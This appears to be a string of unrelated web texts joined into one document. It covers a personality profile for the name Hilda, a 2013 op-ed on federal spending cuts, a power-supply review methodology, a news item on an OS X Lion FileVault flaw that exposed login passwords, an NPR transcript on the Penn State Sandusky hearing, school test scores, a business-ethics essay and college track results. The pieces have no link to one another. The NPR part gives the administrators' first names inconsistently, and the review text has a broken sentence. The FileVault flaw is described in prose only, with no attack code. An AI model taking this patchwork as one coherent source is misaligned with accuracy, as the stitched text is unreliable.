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In spite of her shyness, Hilda enjoys attention and admiration from others and cultivates her own original style. A bit of an outsider (although not always by choice), she likes anything that is a little out of the ordinary, psychology, fashion or cutting edge design and technology. She tends to be considerably preoccupied with herself and her ego - a peculiar combination of narcissism and modesty. In love, she can be quite perplexing to encounter: taking a step forward then two steps backwards, then side-skipping for three and completing the show with a cartwheel. She can be just as fussy when it comes to choosing a mate: he should be intelligent as well as very handsome, but also strong and masculine, refined and distinguished, interesting and funny, cultivated and travelled, wealthy and successful...
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What does she do?
She could choose from one of several career paths. She could be attracted by an occupation in relation to art, esthetics, beauty, fashion, in connection with the legal system or the medical and paramedical domains. The fields of psychology and the occult sciences are other possibilities likely to arouse her interest.
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Democrats have bought the Republican lie that Democrats were the big spenders, it seems, with the draconian federal budget cuts enacted over the past 2 years. But recent statistics show it's been the Republicans since 1980 that created the most state and federal government jobs—4,289,000 under the Reagan and 2 Bush administrations, whereas Clinton created 1,934,000 jobs, while 752,000 government jobs have been lost to date during the Obama Administration.
The result of the huge cutbacks in government spending and hiring since the Great Recession has been an economy still stalled—especially in overall jobs and lost output.
WSJ Marketwatch's economist Rex Nutting highlighted this recently. Though we are out of the Great Recession, and the just announced Q3 2013 GDP growth is 2.8 percent, above Q2's 2.5 percent, our economy lost some $5 trillion in income and output since the end of the Great Recession. Our unemployment rate is stuck at 7.2 percent with millions of jobs lost, median household incomes have been falling steadily, and our infrastructure continues to crumble with some $2.2 trillion in deferred maintenance and upkeep, according to the American Society of Civil Engineers.
"And we're falling behind the Chinese in investing in the future," said Nutting. "Last week, the Treasury Department announced that federal spending fell 2.3 percent to $3.45 trillion in fiscal 2013 after dropping 1.8 percent in 2012," he wrote. "It was the largest annual decline in federal spending since 1955, and the first time spending had fallen two years in a row since 1954-55, at the end of the Korean War."
"We can't blame Obama alone," said Nutting. "Congressional Republicans must take the bulk of the responsibility because they insisted that supposed out-of-control federal spending was our paramount economic problem, despite stagnant wages, the glaring scarcity of jobs and the glaring lack of out-of-control spending. Obama and congressional Democrats fought back, but only half-heartedly."
Gross Domestic Growth picked up in Q3. However there was underlying weaknesses. Personal consumption expenditures (PCE) that power most consumer spending increased at a 1.5 percent annualized rate – the slowest rate since Q2 2011.
It looks like state and local governments are spending more, but the Federal government isn't. Federal government actually subtracted 0.13 percentage points in Q3, whereas state and local governments added 0.17 percentage points.
That means the U.S. economy isn't operating anywhere near its full potential, not to speak of an unemployment rate that was predicted to drop to 6.5 percent by the end of this year. Now it looks like we will be lucky to reach 7 percent.
Government has actually lost jobs during Obama's tenure to date, as we said. Calculated Risk reports that 752,000 jobs have been lost, mostly due to the Great Recession, but also because Republicans have succeeded in their message that government spending is out of control.
"Even Herbert Hoover, the president who has gone down in history as the man who did nothing to stop the Great Depression, wasn't this bad," said Nutting. "Under Hoover, real federal spending rose at an 18 percent annual rate. And Hoover built stuff we still use. Our fiscal policy has been awful. We needed government to step up and fill some of the gap left by the private sector, and instead we got literally nothing. Thanks for nothing, Washington!"
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I am well aware of what the more knowledgeable readers think about these power supply reviews: impractical and often useless. Benchmark Reviews is working hard to change that impression. Recording voltage with a digital multimeter alone offers no value to the test, since power fluctuates a great deal in the span of a single millisecond. Because of this, Benchmark Reviews has taken a corrected approach to testing PSU's and hopes to offer the best analysis possible.
Power supplies are not like most other computer components, where it is a simple matter of comparing the item to others in the same category. Power supply's are comprised of several different variables, such as maximum output, energy efficiency, voltage regulation, and current ripple. Each of these variables must be analyzed with unique tools, which makes it properly review a power supply unit without them.
Benchmark Reviews has researched the equipment necessary to complete the most thorough power supply unit review possible. We spent the time learning what it takes because the best possible PSU tests are what we want to give to our readers. But after discovering the prices on a programmable output DC power supply system, variable range load testing units, and a DC power analyzer (Oscilloscope), we felt that more than ten-thousand dollars worth of equipment would be far too cost prohibitive for testing power supply units worth $100-$300. So without compromising too much, we made a slightly less-expensive investment into a good quality Oscilloscope in order to test DC voltage regulation and AC power ripple. Additionally, the CyberPower CP1500AVRLCD 1500VA 900W LCD UPS reports the total power load drawn by the system. Used together, the Oscilloscope. LCD UPS, and digital multimeter will offer readers the best measurement of power stability any review site could reasonably offer.
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A/C Power Draw Index
During testing, the test system described above consumed the following power statistics:
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Test Methodology
Our testing process is comprised of measuring the AC current ripple, and the DC voltage regulation. There are several key steps, all of which allow us to measure and record our readings using the identical methods for every test we perform. Over time, there have been many changes to the test environment in terms of system hardware and software versions. We understand that consistent in our testing methods is very important in order for the results obtained to be comparable.
At the start of every test, the Velleman PCSU-1000 Oscilloscope is calibrated with the PC-Lab2000SE software. After calibration is complete, the voltage on the 12V rails are measured and recorded with the Extech 450 digital multimeter to ensure comparable margin across all rails. Once the Velleman 60MHz probe has been grounded and attached to the 12V lead, our test system is powered on and left at the Windows logon screen for ten minutes.
Once this lightly-loaded idle warm up period is complete, the Velleman PCSU-1000 Oscilloscope was allowed to run for one minute measuring the AC power ripple. These readings are displayed several times per second, so a visual inspection of the most common (average) reading is recorded for our test results.
After the results have been recorded from the light idle load, our test system then receives heavy load by utilizing ATITool to scan for artifacts and two [email protected] console clients. ATITool forces the video card into high-power 3D mode, and the [email protected] clients cause 100% CPU utilization on each core. After many months of research, these two programs have proven to create more power draw than anything else available, including the combined EVEREST System Stability Test. After another minute of heavy load the power supply is again measured, and the AC power ripple and 12V DC voltage regulation results are recorded.
That's maybe the truth, but OCCT in GPU Linpack mode worth a try! My PSU had no problem with OCd CPU & GPU running (MSI) Kombustor + OCCT CPU Linpack or Prime, but when I ran _only_ the GPU Linpack with OCCT then my PSU was shutted down right after the 1 min monitoring (2/2 times).
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FileVault security hole discovered in OS X Lion 10.7.3
The flaw was detailed late last week in a post by David I. Emery on the Crytome mailing list (via Suddeutsche.de). The issue only applies in specific configurations to users who have updated to OS X 10.7.3, in which a system-wide debug file that displays login passwords in plain text is created.
"Thus anyone who can read files accessible to group admin can discover the login passwords of any users of legacy (pre LION) Filevault home directories who have logged in since the upgrade to 10.7.3 in early February 2012," Emery explained.
The log-in data can also be viewed by booting a Mac into FireWire disk mode and reading it by opening the drive as a disk. The information can also be accessed by booting the Lion recovery partition and using the available superuser shell to mount the main file system partition.
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McQueary Testifies At Sandusky Hearing
To Harrisburg, Pennsylvania now, where Penn State administrators Tim Curley and Gary Schultz were in court today, for charges related to the Jerry Sandusky child sex abuse case. Sandusky has been charged with abusing 10 boys but maintains he's innocent. A judge ruled that there is enough evidence for Curley and Schultz to be tried on charges they failed to report child abuse allegations and then lied to a grand jury.
Among those who testified today was assistant football coach Mike McQueary. He says he witnessed Sandusky sexually abusing a boy in the Penn State locker room shower.
NPR's Jeff Brady was in the courtroom. He joins us now. And, Jeff, what did Mike McQueary say in his testimony today?
JEFF BRADY, BYLINE: You know, he certainly was the one witness everyone here was waiting for. And since that grand jury report was released last month, there have been a few stories out there that indicated McQueary's recollection of what happened in the locker room wasn't clear. But what he said today tracks pretty well with what was in that original grand jury report. And that is that he showed up at the locker room on a Friday night, heard the sound of skin slapping on skin.
And, as he was putting shoes away in his locker, McQueary says he saw Jerry Sandusky in the shower with a boy who appeared to be 10 or 12 years old. McQueary says it appeared to him they were engaged in some type of intercourse. McQueary says he slammed his locker door and went to the shower. By that time, he says, Sandusky and the boy had separated and that Sandusky had a blank look on his face.
McQueary says nothing was ever said, not by him, Sandusky or the boy during that entire encounter.
BLOCK: And after that, what did Mike McQueary say about whether he reported this to anyone? And, if he did, what he say?
BRADY: Well, McQueary says he called his father and told him what happened. Then together with a family friend, they decided not to call police but instead to call head football coach Joe Paterno. Under Pennsylvania law that's really all he had to do. McQueary says Paterno then reported the incident to athletic director, Jim Curley. McQueary says it was another nine or 10 days before he had a meeting with Curley and also vice president Jerry Schultz, who oversees the campus police.
BLOCK: And then what did Curley and Schultz do with that information?
BRADY: Well, from what we heard today, not very much. McQueary says that they told him that they reported the incident to the charity that Sandusky founded for at-risk kids, The Second Mile, and then barred Sandusky from bringing kids to the locker room. And this is where the perjury allegations come in against Curley and Schultz.
They said McQueary only told them that what happened was horsing around. And Curley specifically said that McQueary denied that anything of a sexual nature happened. Who's lying or not, that's likely to be determined at trial.
BLOCK: And it's worth pointing out, this hearing today was not part of the trial per se. What was the purpose of what happened today?
BRADY: Well, this is a preliminary hearing. And in Pennsylvania, the grand jury issues a report. Then the prosecutor has to go before a judge to prove that there's enough evidence to move the case forward, first to a formal arraignment and then ultimately to trial. And that's where we are today.
BLOCK: OK. And then, again as we said, the judge ruled that there is enough evidence for these two administrators to be tried.
Jeff Brady joining us from the courthouse in Harrisburg, Pennsylvania. Jeff, thanks very much.
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The Massachusetts state average in standardized testing for science is 72%. Hopkinton High School pulled in scores of 94% for 2013, down slightly from a high of 96%. Not content even with this achievement, principal Evan Bishop has been reaching out to parents for ideas on how to continue to support and help to boost students with disabilities and others who struggle so that everyone fares well in STEM education. Part of the identified challenge is continuity, as students change schools every few years. Read more about the achievements and efforts in this MetroWest Daily article: State Gives Hopkinton High School Top Marks.
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In a recent front-page article in The Wall Street Journal, Jacob Schlesinger wondered, "Why has the '90s so far eluded the 'Decade of Greed' label that hung over the '80s?" The news was certainly full of stories of young millionaires bursting forth in record numbers due to the boon in technology stock prices. And you couldn't turn a page without seeing any number of CEO compensation packages tip in at millions of dollars in salaries and perks.
There were no cries of moral outrage, Schlesinger suggests, because in this new economy everybody's income is rising. Not only those at the top are sharing in the spoils of business, whether in the form of better returns on a 401(k) plan invested in aggressive mutual funds, or just more cash in each paycheck. But the point that people are missing, he wrote, is that even when almost everyone's income is rising, a "growing disparity in affluence can hurt the less well off." If a middle-class family in San Francisco earns 33% more than the national average but faces housing prices that are quadruple the national average because young Silicon Valley millionaires have bid up the prices of homes, it's only a matter of time before someone cries foul.
I was taken aback not so much by the article's sentiment as by its source. Here was The Wall Street Journal -- the archconservative voice of capitalism -- drawing attention to the problems endemic to outrageous income disparities at a time when that particular cause hadn't the news cachet it held during the greed-drenched '80s.
"Business ethics," a topic that for years has been relegated to the deep interior of business publications or the fringes of business school curriculum, suddenly has status. Where the word "ethics" may once have been anathema to any corporate devotee, discussion of it is increasingly seen as not only important but also as critical to a company's success.
A Shift in Thinking
The standard argument made among businesspeople used to be that a business's responsibility was first and foremost to its shareholders. Economists Milton Friedman and Alfred Carr were chief among those propagating that once-prevailing wisdom.
In a 1970 New York Times Magazine article, Friedman wrote his now well-known argument that a business's social responsibility is to its stockholders; therefore, the main objective is to increase profits. In 1967, Carr argued that business is a game in which there are certain rules. He held that a person would set aside personal ethics and values in order to meet the needs of the corporation.
However, proponents of "virtue ethics" believe that it's wrong-headed to think that we can, or ever could, park our personal beliefs at the door when we enter the corporate world. John Morse, in the Journal of Applied Philosophy, observed that "the virtue theorist insists that any ethical decision we make is based on a set of dispositions we have acquired throughout our life. When someone acts unethically in a business transaction, this is bound to break down the good character habit that he or she has developed up to this point. The virtue theorist denies that there is an ability to separate the 'business' self from the 'private' self, because the actions in each realm form dispositions which apply to a person's general manner of acting."
Morse concludes that "Friedman and Carr are wrong, for they try to separate the moral ramifications of actions within a business environment from their effects on the individuals with whom business comes into contact. Business has to be seen as a moral entity that is an integral part of the community, and it must therefore be concerned about the welfare of the community within which it is situated, as well as the welfare of the individuals whom it influences."
What's Ethical Behavior?
Johnson & Johnson is often heralded as a company whose ethical behavior is exemplary. Looking at how this company's core beliefs affect the way it handles critical ethical decisions can help demonstrate how a clear commitment to ethical behavior in business can define how a business operates, both inside and outside its walls.
The company clearly prioritizes its responsibilities in its corporate credo: first to its customers, second to its employees, third to its management, fourth to the communities in which it operates, and fifth to its stockholders. "Business must make a sound profit," reads the credo in describing this fifth responsibility, but at Johnson & Johnson that concern comes after the rest.
In 1982 the company decided to recall 31 million bottles of Tylenol from store shelves after eight people died from cyanide-laced capsules. That recall cost Johnson & Johnson $240 million and cut its profit on $5 billion in revenues that year by almost 50%. The tampering was not the company's fault, but it decided to act even before it had complete information on what had happened. The product containers were redesigned, and new tamper-proof packaging was introduced. Johnson & Johnson's immediate response saved the Tylenol brand and won the company rave reviews. Ironically, the move turned out to be a huge marketing coup that resulted in significant goodwill from customers.
When a class of business students was asked to comment on the ethics of the case, more than one student responded by saying that the case wasn't an example of ethical decision making at all: The company benefited from the whole affair. Since it turned out to be a great marketing move, where was the ethical problem?
What the students failed to recognize was that we all make ethical decisions on a daily basis. Sometimes it's as simple as deciding whether or not to credit a coworker with an idea of hers that you bring up in a meeting. Other times it may be deciding just how much information you disclose to colleagues about an office rumor making the rounds.
The results of such decisions rarely have the magnitude of a Tylenol case, but they are ethical decisions nonetheless. Based on what you know of the acceptable behavior of the group you belong to, you're trying to decide on the right thing to do.
Ethics. The word "ethics" derives from the Greek term ethos; one of the modern definitions of ethos is "accustomed place." In the New Testament, ethos was used in the more or less classic sense of a "home place" -- the place of safety, where humans and animals alike could gather at the end of the day and be protected. By extension, it came to be used as a description of the norms of behavior that provided a comparable protection to the coherence of a society.
So ethical decisions can be said to be decisions that ensure the safety of a society's sense of order and justice. But trying to determine what falls into that sense of order and justice can be difficult. The range between right and wrong can be vast. We generally recognize -- or at least we hope we do -- when we're operating at the margins. We can tell when we're going well beyond what's expected in the way of right behavior. And we also know when something falls squarely into the category of questionable or wrong behavior.
What we struggle with every day is operating between the extremes. How completely right do we really need to be in our behavior?
In business, the pressures are magnified, because business owners and managers are faced with competing demands to keep a company going. Does the need to make a profit outweigh the need to reward our employees fairly? Does making payroll count more than paying vendors? Do we cut corners on manufacturing processes to keep costs down when our shortcuts may result in unsafe or polluting outcomes? Does our commitment to an employee in trouble outweigh the financial burden he places on the company?
A story told by the CEO of a $14 million computer consulting company points out how grueling and complex such decisions can be. A high-level employee failed to show up at a client's location one morning for a software installation. The employee was an alcoholic who apparently had had a relapse. In the end it cost his company half of its $200,000 fee.
The CEO received conflicting recommendations about whether to fire the employee. Some suggested giving the employee another chance and enrolling him in a rehabilitation program. Others said the only way the employee would get help would be if he were allowed to hit rock bottom. After much agonizing, the CEO decided to offer the rehabilitation program.
Everything seemed fine for about eight months after the employee finished the program. Then he failed to show up for work again. This time he cost the company about $5,000. Again, the CEO had to decide what to do. The advice he received skewed toward letting the employee go, but, after some agonizing, the CEO decided to help him again.
While the CEO may have been prolonging the alcoholic's resistance to getting sober, his decision brings to life how good people in business try to do good by the people in their world, in this case a troubled employee. "Business is easy compared to life," the CEO said when retelling the story. "We're just laymen with good hearts and crossed fingers."
Invariably people who run or manage businesses find themselves facing decisions that will clearly affect their employees' lives. Navigating through these relentless dilemmas is a day-to-day, moment-to-moment process.
First, the Lawyers
When we talk about ethical behavior in business, too frequently we're really talking about the kind of behavior people need to avoid litigation. We put behavior policies in place so that we don't get sued for sexual harassment, penalizing minority workers, or slandering poor-performing employees.
With workplace litigation exploding over the past several years -- more than 24,000 wrongful termination suits were filed in 1997 alone, up from 10,000 in 1990 -- the actions of businesspeople too often are driven by what will keep a cap on legal costs rather than by what we really believe is right.
When this happens, we relegate many ethical decisions to the human resources or legal departments and stop thinking about it for ourselves.
The fear of discrimination suits may be legitimate. A 1997 survey by the Society for Human Resource Management found that of 616 personnel executives who responded, 53% said their organizations had been sued at least once by former employees in the last five years; nearly half of the 611 suits they reported involved claims of discrimination.
Fear of litigation makes even the most self-enlightened manager question his or her own judgment about employees, how to manage them, and how to be fair in the workplace. The solution is to go back to making decisions based on the merit of a candidate rather than the fear of what may happen should this candidate not work out or not like the way we manage. It may seem perilous to take such a stand, but it's the only way to break free of the management gridlock that has overtaken so many businesses.
Finding a Place
The deeper challenge is not merely to get businesses or corporations to change, but to get the people who are making decisions within these organizations to change the way they think -- to realize that the same care they take to behave ethically in their personal lives should drive the decisions they make in their professional lives. One of the good things about the blurring lines between our personal and professional lives is that it makes who we are and how we behave seem more connected to our beliefs and the way we interact with other people and the community at large -- whether we're at work or not.
The whole concept of "business ethics" is brought more sharply into focus when we recognize that such a notion is inextricably tied to the individuals who make up that business. It is ridiculous to think that we can fob off onto others ethical decisions that must be made without taking responsibility for our own inaction.
"Ethics is how we behave when we decide we belong together," writes Margaret Wheatley and Myron Kellner-Rogers in their book, A Simpler Way. "Daily we see this interplay of ethics and belonging in our own lives. We want to be part of an organization. We observe what is accepted or rewarded, and we adapt. But these ethics are not always good. We may agree to behaviors that go against personal or societal values. Months or years later, we dislike the person we have become. Did we sacrifice some essential aspect of ourselves in order to stay with an organization? What was the price of belonging?"
At the end of the day, that's the true question: In our effort to belong, have we become the people we swore we never wanted to be?
Jeffrey L. Seglin is the author of The Good, The Bad, and Your Business: Choosing Right When Ethical Dilemmas Pull You Apart, forthcoming in March from John Wiley & Sons. He writes the monthly "Right Thing" column for the Sunday New York Times. He is a professor of magazine publishing at Emerson College and an editor at large for Inc. magazine.
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Three Blue Devils from the Central Connecticut women's track and field team were named to the 2013 Northeast Conference Outdoor All-Conference team Tuesday for their performances at the 2013 NEC Outdoor Track and Field Championships in May. Junior Elizabeth Eberhardt and sophomore Ronea Saunders earned second team honors while freshman Chelse Terry was named to the All-Rookie team.
Eberhardt, who broke the outdoor CCSU record in the both the 3000m and the steeplechase this season, ran a 10:39.34 in the steeplechase event at the NEC Championships for second place to earn her spot on the second team. Eberhardt set a CCSU record of 10:37.64 in the event at the Penn Relays in April. She was also named named NEC Track Athlete of the Week on April 30.
Saunders, who set the outdoor CCSU record in the high jump last season as a freshman, cleared a height of 1.74 meters (5' 8.5") at the NEC Championships. Her mark was good for second place and was just shy of her own personal best height of 5' 8.75" which she earned last season. Saunders was named NEC Field Athlete of the Week on April 2 following an impressive indoor season in which she earned the weekly honor twice and was also named the NEC Most Outstanding Field Athlete for her first-place indoor NEC performance.
Terry earns the first NEC award of her career with her placement on the All-Rookie team. The freshman thrower registered a distance of 41.33 meters in the discus event at the NEC Championships, good for fourth place. Terry also competed in the shot put and hammer throw events.